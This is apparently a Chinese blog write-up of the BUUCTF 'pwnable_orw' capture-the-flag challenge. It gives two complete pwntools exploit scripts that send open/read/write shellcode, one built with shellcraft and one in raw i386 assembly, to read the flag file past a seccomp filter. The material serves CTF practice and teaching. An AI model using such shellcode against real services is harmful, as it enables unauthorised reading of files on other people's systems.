BUUCTF pwnable_orw

在这里插入图片描述
在这里插入图片描述
这道题又是一道seccomp,,这个orw_seccomp函数里面说的傻我看不懂。。。
反正根据套路肯定还是不能用system,,还是通过 open,read,write,来泄露flag文件

写这种shellcode写的方法一个是直接汇编 或者 可以用pwntools里面带的shellcraft
pwntools官方文档
其他的没啥可说的,看一下代码

shellcraft:

#coding:utf-8
from pwn import *

context(os='linux',arch='i386',log_level='debug')

#sh = process('./orw')
sh = remote('node3.buuoj.cn','25658')

payload = shellcraft.i386.linux.open('flag',0)

payload += shellcraft.i386.linux.read(3,'esp',100)

payload += shellcraft.i386.linux.write(1, 'esp', 100)


sh.sendafter('Give my your shellcode:',asm(payload))

sh.interactive()

直接汇编:

#coding:utf-8
from pwn import *

context(os='linux',arch='i386',log_level='debug')

#sh = process('./orw')
sh = remote('node3.buuoj.cn','25658')

payload = '''
push 0x0
push 0x67616c66
mov ebx,esp
xor ecx,ecx
xor edx,edx
mov eax,0x5
int 0x80
nop
add esp,8
mov ebx,0x3
mov ecx,esp
mov edx,0x100
mov eax,0x3
int 0x80
nop
mov ebx,0x1
mov ecx,esp
mov edx,0x100
mov eax,0x4
int 0x80
'''


sh.sendafter('Give my your shellcode:',asm(payload))

sh.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值